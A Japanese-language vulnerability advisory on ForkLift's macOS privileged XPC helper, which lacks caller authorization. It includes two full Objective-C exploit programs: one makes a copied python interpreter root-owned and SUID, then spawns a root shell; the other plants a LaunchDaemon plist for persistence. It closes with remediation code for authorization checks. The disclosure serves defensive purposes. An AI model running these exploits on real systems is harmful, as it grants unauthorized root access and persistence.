Forklift をインストールすると、Mac OS X 用の com.binarynights.ForkLiftHelper という新しいヘルパーが /Library/PrivilegedHelperTools/ ディレクトリに自動的にインストールされます。
XPC メッセージを処理するこのヘルパーを解析したところ、Mac OS X 上でユーザーから root への権限昇格を実現する複数の方法が明らかになりました。
XPC 呼び出しを受け入れるとき、デフォルトでは HelperTool listener:shouldAcceptNewConnection、すなわち (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection 関数が使用されます。この関数は、XPC 接続を確立するための初期ステップを実行するために使用されます。通常、この関数は呼び出し元の認可を実行しますが、com.binarynights.ForkLiftHelper の関数には認可チェックが実装されていません。したがって、XPC 経由で公開されている任意の関数を認可なしで呼び出すことが可能です。
以下の関数は XPC 経由で呼び出し元に公開されています:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
このヘルパーを悪用する最初の方法は以下のとおりです:
たとえば、python インタープリターをユーザーが制御可能なディレクトリにコピーし、パラメータ @"<path>" owner:0 group:0 を指定して XPC 関数 changeOwner を呼び出します。これにより、python インタープリターの所有権が root に変更されます。
次に、changePermissions 関数に以下のパラメータ @"<path>" permissions:2541 を指定した XPC リクエストを送信することで、インタープリターに SUID ビットを設定することが可能です。パーミッション 2541 は 8 進数で 4755 を表し、バイナリに SUID フラグを設定します。
以下のコマンドは、root としてシェルを起動します:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
事前に、python インタープリターを python_copied という名前で /tmp にコピーしておいてください。以下のエクスプロイトは、この LPE を示しています:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
このヘルパーを悪用する 2 番目の方法は以下のとおりです:
XPC 呼び出し moveItem により、任意のアイテムを root として移動することが可能です。したがって、plist ファイルを /tmp ディレクトリに書き込み、それを /Library/LaunchDaemons/ ディレクトリにコピーすることが可能です。moveItem 関数には、以下のパラメータ @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" が使用されます。
以下のコードは、再起動時にトリガーされる新しい Launch Agent を自動的に追加します:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
"<plist version=\"1.0\">"
"<dict>"
" <key>Label</key>"
" <string>com.sample.Load</string>"
" <key>ProgramArguments</key>"
" <array>"
" <string>/bin/zsh</string>"
" <string>-c</string>"
" <string>touch /Library/foobar.txt</string>"
" </array>"
" <key>RunAtLoad</key>"
" <true/>"
"</dict>"
"</plist>";
[my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
XPC ヘルパーを呼び出す際には、認可を強制することを推奨します。
これらの認可チェックには以下を含める必要があります:
認可チェックに関する優れたリソースは、[1] の情報源にあります。
以下の shouldAcceptNewConnecton 関数の例は、正しい認可チェックのさまざまな段階を示しています:
@interface NSXPCConnection(PrivateAuditToken)
// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;
@end
// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
audit_token_t auditToken = connection.auditToken;
NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
SecCodeRef code = NULL;
if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
return NO;
}
// Before checking the requirement make sure that code signing flags
// CS_HARD and CS_KILL are set. Dynamic code signature checks can only
// check the code pages already swapped into memory, so make sure that
// no malicious code can be loaded at a later time. You may want to
// disable this check in debug builds.
CFDictionaryRef csInfo = NULL;
if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
return NO;
} else {
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
CFRelease(csInfo);
const uint32_t cs_hard = 0x100; // don't load invalid pages
const uint32_t cs_kill = 0x200; // kill process if page is invalid
const uint32_t cs_restrict = 0x800; // prevent debugging
const uint32_t cs_require_lv = 0x2000; // Library Validation
const uint32_t cs_runtime = 0x10000; // hardened runtime
if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
// add all flags to check which are in your code signature!
// In particular, we recommend cs_require_lv and cs_restrict.
return NO; // Not accepted because it can be tampered with
}
}
NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
SecRequirementRef requirement = NULL;
// Check at least the peer's TeamID, e.g.
// "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
abort(); // error in requirement string
}
OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
CFRelease(code);
CFRelease(requirement);
if (status != errSecSuccess) {
return NO;
}
// further initialization of connection goes here...
return YES;
}
[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/